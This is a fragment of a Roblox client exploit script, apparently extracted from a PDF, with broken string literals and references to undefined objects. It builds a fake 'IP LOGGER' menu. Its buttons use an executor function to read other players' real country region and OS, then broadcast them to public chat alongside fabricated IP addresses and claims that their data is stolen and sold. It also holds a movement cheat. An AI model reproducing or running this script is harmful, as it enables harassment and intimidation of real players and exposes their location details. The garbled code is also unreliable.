fakeip.TextColor3 = Color3.fromRGB(0, 0, 0)
fakeip.TextSize = 15.000
fakeip.MouseButton1Down:connect(function()
-- Gui to Lua
-- Version: 3.2

-- Instances:

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("ImageLabel")
local TextLabel = Instance.new("TextLabel")
local TextLabel_2 = Instance.new("TextLabel")
local close = Instance.new("TextButton")
local TextLabel_3 = Instance.new("TextLabel")
local TextLabel_4 = Instance.new("TextLabel")
local username = Instance.new("TextBox")
local snatch = Instance.new("TextButton")
local TextButton_Roundify_12px = Instance.new("ImageLabel")
local miscbut = Instance.new("TextButton")
local MISC = Instance.new("ImageLabel")
local TextLabel_5 = Instance.new("TextLabel")
local TextLabel_6 = Instance.new("TextLabel")
local snatchall = Instance.new("TextButton")
local TextButton_Roundify_12px_2 = Instance.new("ImageLabel")
local TextLabel_7 = Instance.new("TextLabel")
Frame.Draggable = true
Frame.Active = true
Frame.Selectable = true
local sound = Instance.new("Sound")
sound.Parent = workspace
sound.SoundId = "rbxassetid://5292029547"
sound:Play()

--Properties:

ScreenGui.Parent = game.CoreGui

Frame.Name = "Frame"
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BackgroundTransparency = 1.000
Frame.Position = UDim2.new(0.152727276, 0, 0.277641267, 0)
Frame.Size = UDim2.new(0, 0, 0, 0)
Frame.ZIndex = 3
Frame.Image = "rbxassetid://3570695787"
Frame.ImageColor3 = Color3.fromRGB(20, 20, 20)
Frame.ScaleType = Enum.ScaleType.Slice
Frame.SliceCenter = Rect.new(100, 100, 100, 100)
Frame.SliceScale = 0.120
Frame.ClipsDescendants = true

TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1.000
TextLabel.Position = UDim2.new(0.026143793, 0, 0.0232558139, 0)
TextLabel.Size = UDim2.new(0, 22, 0, 24)
TextLabel.ZIndex = 3
TextLabel.Font = Enum.Font.SourceSansBold
TextLabel.Text = "IP"
TextLabel.TextColor3 = Color3.fromRGB(255, 85, 0)
TextLabel.TextSize = 25.000

TextLabel_2.Parent = Frame
TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.Position = UDim2.new(0.0980392173, 0, 0.0232558139, 0)
TextLabel_2.Size = UDim2.new(0, 102, 0, 24)
TextLabel_2.ZIndex = 3
TextLabel_2.Font = Enum.Font.SourceSansBold
TextLabel_2.Text = "LOGGER"
TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.TextSize = 25.000

close.Name = "close"
close.Parent = Frame
close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
close.BackgroundTransparency = 1.010
close.Position = UDim2.new(0.934640527, 0, 0.0232558139, 0)
close.Size = UDim2.new(0, 20, 0, 20)
close.ZIndex = 3
close.Font = Enum.Font.SourceSansBold
close.Text = "X"
close.TextColor3 = Color3.fromRGB(255, 0, 0)
close.TextScaled = true
close.TextSize = 14.000
close.TextWrapped = true

TextLabel_3.Parent = Frame
TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.BackgroundTransparency = 1.000
TextLabel_3.Position = UDim2.new(7.4505806e-09, 0, 0.860465109, 0)
TextLabel_3.Size = UDim2.new(0, 214, 0, 24)
TextLabel_3.ZIndex = 3
TextLabel_3.Font = Enum.Font.SourceSansBold
TextLabel_3.Text = "Gui & Code Remade: fixed#8267"
TextLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.TextSize = 15.000

TextLabel_4.Parent = Frame
TextLabel_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_4.BackgroundTransparency = 1.000
TextLabel_4.Position = UDim2.new(0, 0, 0.767441869, 0)
TextLabel_4.Size = UDim2.new(0, 240, 0, 24)
TextLabel_4.ZIndex = 3
TextLabel_4.Font = Enum.Font.SourceSansBold
TextLabel_4.Text = "Gui & Code Revamp: Univrs#7207"
TextLabel_4.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_4.TextSize = 15.000

username.Name = "username"
username.Parent = Frame
username.BackgroundColor3 = Color3.fromRGB(255, 128, 0)
username.BackgroundTransparency = 1.000
username.BorderSizePixel = 0
username.Position = UDim2.new(0.173202619, 0, 0.313953489, 0)
username.Size = UDim2.new(0, 200, 0, 24)
username.ZIndex = 3
username.Font = Enum.Font.GothamBold
username.PlaceholderColor3 = Color3.fromRGB(178, 178, 178)
username.PlaceholderText = "Input User"
username.Text = ""
username.TextColor3 = Color3.fromRGB(255, 255, 255)
username.TextSize = 14.000

snatch.Name = "LogFakeIp"
snatch.Parent = Frame
snatch.BackgroundColor3 = Color3.fromRGB(255, 128, 0)
snatch.BackgroundTransparency = 1.000
snatch.BorderSizePixel = 0
snatch.Position = UDim2.new(0.205882356, 0, 0.511627913, 0)
snatch.Size = UDim2.new(0, 180, 0, 28)
snatch.ZIndex = 4
snatch.Font = Enum.Font.SourceSansBold
snatch.Text = "Take Ip"
snatch.TextColor3 = Color3.fromRGB(255, 255, 255)
snatch.TextScaled = true
snatch.TextSize = 14.000
snatch.TextWrapped = true
snatch.MouseButton1Down:connect(function()
local v = game.Players[username.Text]
ass = gethiddenproperty or get_hidden_prop
local Thing =
game:GetService("HttpService"):JSONDecode(game:HttpGet("http://country.io/names.jso
n"))
local ParsedCountry = Thing[ass(v, "CountryRegionCodeReplicate")]
local SayMessageRequest1 =
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
SayMessageRequest1:FireServer(
v.Name.." - Cracking IP Address...",
"All"
)
wait(2)
local SayMessageRequest =
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
SayMessageRequest:FireServer(
v.Name.." is from "..tostring(ParsedCountry).." OS:
"..v.OsPlatform.." IP:
"..math.random(836).."."..math.random(725).."."..math.random(99)..".".."##".."
".."(IP: Successfully Logged)",
"All"
)
wait(0.55)
local SayMessageRequest2 =
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
SayMessageRequest2:FireServer(
v.Name.."'s Data Has Been Successfully Stolen.",
"All"
)

end)

TextButton_Roundify_12px.Name = "TextButton_Roundify_12px"
TextButton_Roundify_12px.Parent = snatch
TextButton_Roundify_12px.Active = true
TextButton_Roundify_12px.AnchorPoint = Vector2.new(0.5, 0.5)
TextButton_Roundify_12px.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_Roundify_12px.BackgroundTransparency = 1.000
TextButton_Roundify_12px.Position = UDim2.new(0.5, 0, 0.5, 0)
TextButton_Roundify_12px.Selectable = true
TextButton_Roundify_12px.Size = UDim2.new(1, 0, 1, 0)
TextButton_Roundify_12px.ZIndex = 3
TextButton_Roundify_12px.Image = "rbxassetid://3570695787"
TextButton_Roundify_12px.ImageColor3 = Color3.fromRGB(255, 128, 0)
TextButton_Roundify_12px.ScaleType = Enum.ScaleType.Slice
TextButton_Roundify_12px.SliceCenter = Rect.new(100, 100, 100, 100)
TextButton_Roundify_12px.SliceScale = 0.120

miscbut.Name = "miscbut"
miscbut.Parent = Frame
miscbut.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
miscbut.BackgroundTransparency = 1.010
miscbut.Position = UDim2.new(0.934640527, 0, 0.883720934, 0)
miscbut.Size = UDim2.new(0, 20, 0, 20)
miscbut.ZIndex = 3
miscbut.Font = Enum.Font.SourceSansBold
miscbut.Text = ">"
miscbut.TextColor3 = Color3.fromRGB(255, 255, 255)
miscbut.TextScaled = true
miscbut.TextSize = 14.000
miscbut.TextWrapped = true

MISC.Name = "MISC"
MISC.Parent = Frame
MISC.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
MISC.BackgroundTransparency = 1.000
MISC.Position = UDim2.new(0.0775638819, 0, 0.0725949258, 0)
MISC.Size = UDim2.new(0, 262, 0, 147)
MISC.ZIndex = 0
MISC.Image = "rbxassetid://3570695787"
MISC.ImageColor3 = Color3.fromRGB(20, 20, 20)
MISC.ScaleType = Enum.ScaleType.Slice
MISC.SliceCenter = Rect.new(100, 100, 100, 100)
MISC.SliceScale = 0.120

TextLabel_5.Parent = MISC
TextLabel_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_5.BackgroundTransparency = 1.000
TextLabel_5.Position = UDim2.new(0.02614378, 0, 0.0232981984, 0)
TextLabel_5.Size = UDim2.new(0, 18, 0, 20)
TextLabel_5.Font = Enum.Font.SourceSansBold
TextLabel_5.Text = "MI"
TextLabel_5.TextColor3 = Color3.fromRGB(255, 85, 0)
TextLabel_5.TextSize = 25.000

TextLabel_6.Parent = MISC
TextLabel_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_6.BackgroundTransparency = 1.000
TextLabel_6.Position = UDim2.new(0.0980392322, 0, 0.0232981984, 0)
TextLabel_6.Size = UDim2.new(0, 28, 0, 20)
TextLabel_6.Font = Enum.Font.SourceSansBold
TextLabel_6.Text = "SC"
TextLabel_6.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_6.TextSize = 25.000
snatchall.Name = "logserver"
snatchall.Parent = MISC
snatchall.BackgroundColor3 = Color3.fromRGB(255, 128, 0)
snatchall.BackgroundTransparency = 1.000
snatchall.BorderSizePixel = 0
snatchall.Position = UDim2.new(0.0493937507, 0, 0.703036785, 0)
snatchall.Size = UDim2.new(0, 236, 0, 23)
snatchall.ZIndex = 2
snatchall.Font = Enum.Font.SourceSansBold
snatchall.Text = "Log Server"
snatchall.TextColor3 = Color3.fromRGB(255, 255, 255)
snatchall.TextScaled = true
snatchall.TextSize = 14.000
snatchall.TextWrapped = true
snatchall.MouseButton1Down:connect(function()
--[[https://v3rmillion.net/showthread.php?tid=1012504, In-Chat Player Real Country
Fake IP leaker by kuraga.
]]
-- CREDITS TO kuraga#4659 AND DerzeTT#8830
ass = gethiddenproperty or get_hidden_prop

for _,v in pairs(game:GetService("Players"):GetPlayers()) do


if v.Name ~= game:GetService("Players").LocalPlayer.Name then
local Thing =
game:GetService("HttpService"):JSONDecode(game:HttpGet("http://country.io/names.jso
n"))
local ParsedCountry = Thing[ass(v,
"CountryRegionCodeReplicate")]
local SayMessageRequest =
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
SayMessageRequest:FireServer(
v.Name.." is from "..tostring(ParsedCountry).." OS:
"..v.OsPlatform.." IP:
"..math.random(728).."."..math.random(326).."."..math.random(99)..".".."##".."
".."(IP: Successfully Logged)",
"All"
)
wait(2)
end
end
for i = 1,5 do
local SayMessageRequest1 =
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
SayMessageRequest1:FireServer(
"Program Status: Cracking...",
"All"
)
wait(1)
end
wait(5)
local SayMessageRequest2 =
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
SayMessageRequest2:FireServer(
"Program Status: Successfully Stolen Addresses, Data Being Sold
To [%Encryped Site%]",
"All"
)
end)
TextButton_Roundify_12px_2.Name = "TextButton_Roundify_12px"
TextButton_Roundify_12px_2.Parent = snatchall
TextButton_Roundify_12px_2.Active = true
TextButton_Roundify_12px_2.AnchorPoint = Vector2.new(0.5, 0.5)
TextButton_Roundify_12px_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_Roundify_12px_2.BackgroundTransparency = 1.000
TextButton_Roundify_12px_2.Position = UDim2.new(0.5, 0, 0.5, 0)
TextButton_Roundify_12px_2.Selectable = true
TextButton_Roundify_12px_2.Size = UDim2.new(1, 0, 1, 0)
TextButton_Roundify_12px_2.Image = "rbxassetid://3570695787"
TextButton_Roundify_12px_2.ImageColor3 = Color3.fromRGB(255, 128, 0)
TextButton_Roundify_12px_2.ScaleType = Enum.ScaleType.Slice
TextButton_Roundify_12px_2.SliceCenter = Rect.new(100, 100, 100, 100)
TextButton_Roundify_12px_2.SliceScale = 0.120

TextLabel_7.Parent = MISC
TextLabel_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_7.BackgroundTransparency = 1.000
TextLabel_7.Position = UDim2.new(0.0980392322, 0, 0.213774383, 0)
TextLabel_7.Size = UDim2.new(0, 212, 0, 62)
TextLabel_7.Font = Enum.Font.SourceSansBold
TextLabel_7.Text = "Holy fuck some people are annoying"
TextLabel_7.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_7.TextScaled = true
TextLabel_7.TextSize = 25.000
TextLabel_7.TextWrapped = true

-- Scripts:

local function XHSJL_fake_script() -- close.LocalScript


local script = Instance.new('LocalScript', close)

close.MouseButton1Down:Connect(function()
MISC:TweenPosition(UDim2.new(0.078, 0, 0.073, 0), 'Out',
'Bounce', 0.35)
wait(.35)
Frame.ClipsDescendants = true
Frame:TweenSize(UDim2.new(0,0,0,0), 'Out', 'Linear', .3)
wait(.3)
ScreenGui:Destroy()
end)
end
coroutine.wrap(XHSJL_fake_script)()
local function MOOLDA_fake_script() -- miscbut.LocalScript
local script = Instance.new('LocalScript', miscbut)

local t = false
miscbut.MouseButton1Down:Connect(function()
if (t == false) then
MISC:TweenPosition(UDim2.new(1.051, 0, 0.073, 0), 'Out',
'Bounce', 0.35)
wait(.35)
t = true
elseif (t == true) then
MISC:TweenPosition(UDim2.new(0.078, 0, 0.073, 0), 'Out',
'Bounce', 0.35)
wait(.35)
t = false
end
end)
end
coroutine.wrap(MOOLDA_fake_script)()
Frame:TweenSize(UDim2.new(0, 306, 0, 172), 'Out', 'Linear', 0.3)
wait(.3)
Frame.ClipsDescendants = false
end)

rolling.Name = "rolling"
rolling.Parent = Frame
rolling.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
rolling.BackgroundTransparency = 0.900
rolling.BorderColor3 = Color3.fromRGB(100, 173, 111)
rolling.BorderSizePixel = 0
rolling.Position = UDim2.new(0.0755863935, 0, 0.750128806, 0)
rolling.Size = UDim2.new(0, 266, 0, 27)
rolling.Font = Enum.Font.GothamSemibold
rolling.Text = "Roll Like A Ball"
rolling.TextColor3 = Color3.fromRGB(0, 0, 0)
rolling.TextSize = 15.000
rolling.MouseButton1Down:connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = workspace.CurrentCamera

local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3

local character = game.Players.LocalPlayer.Character

for i,v in ipairs(character:GetDescendants()) do


if v:IsA("BasePart") then
v.CanCollide = false
end
end

local ball = character.HumanoidRootPart


ball.Shape = Enum.PartType.Ball
ball.Size = Vector3.new(5,5,5)
local humanoid = character:WaitForChild("Humanoid")
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}

local tc = RunService.RenderStepped:Connect(function(delta)
ball.CanCollide = true
humanoid.PlatformStand = true
if UserInputService:GetFocusedTextBox() then return end
if UserInputService:IsKeyDown("W") then
ball.RotVelocity -= Camera.CFrame.RightVector * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("A") then
ball.RotVelocity -= Camera.CFrame.LookVector * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("S") then
ball.RotVelocity += Camera.CFrame.RightVector * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("D") then
ball.RotVelocity += Camera.CFrame.LookVector * delta *
SPEED_MULTIPLIER
end
--ball.RotVelocity = ball.RotVelocity -
Vector3.new(0,ball.RotVelocity.Y/50,0)
end)

UserInputService.JumpRequest:Connect(function()
local result = workspace:Raycast(
ball.Position,
Vector3.new(
0,
-((ball.Size.Y/2)+JUMP_GAP),
0
),
params
)
if result then
ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0)
end
end)

Camera.CameraSubject = ball
humanoid.Died:Connect(function() tc:Disconnect() end)
end)

TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1.000
TextLabel.Position = UDim2.new(0.183000192, 0, -0.00342088938, 0)
TextLabel.Size = UDim2.new(0, 200, 0, 50)
TextLabel.Font = Enum.Font.GothamSemibold
TextLabel.Text = "Page 3"
TextLabel.TextColor3 = Color3.fromRGB(99, 255, 96)
TextLabel.TextSize = 40.000

close3.Name = "close3"
close3.Parent = Frame
close3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
close3.BackgroundTransparency = 1.000
close3.Position = UDim2.new(0.813880086, 0, 0.0102564096, 0)
close3.Size = UDim2.new(0, 50, 0, 39)
close3.Font = Enum.Font.GothamSemibold
close3.Text = "X"
close3.TextColor3 = Color3.fromRGB(129, 255, 110)
close3.TextSize = 40.000
close3.MouseButton1Down:connect(function()
Frame.Visible = false
end)
end)
OpenFrame.Name = "OpenFrame"
OpenFrame.Parent = ScreenGui
OpenFrame.BackgroundColor3 = Color3.fromRGB(3, 0, 21)
OpenFrame.BorderColor3 = Color3.fromRGB(85, 255, 99)
OpenFrame.BorderSizePixel = 5
OpenFrame.Position = UDim2.new(-0.000789254904, 0, 0.623443246, 0)
OpenFrame.Size = UDim2.new(0, 104, 0, 68)

Open.Name = "Open"
Open.Parent = OpenFrame
Open.BackgroundColor3 = Color3.fromRGB(142, 255, 107)
Open.BorderColor3 = Color3.fromRGB(13, 100, 0)
Open.BorderSizePixel = 0
Open.Position = UDim2.new(0.0736218244, 0, 0.119200766, 0)
Open.Size = UDim2.new(0, 88, 0, 50)
Open.Font = Enum.Font.GothamBold
Open.Text = "Open"
Open.TextColor3 = Color3.fromRGB(0, 0, 0)
Open.TextSize = 30.000
Open.MouseButton1Down:connect(function()
Frame.Visible = true
OpenFrame.Visible = false
end)

You might also like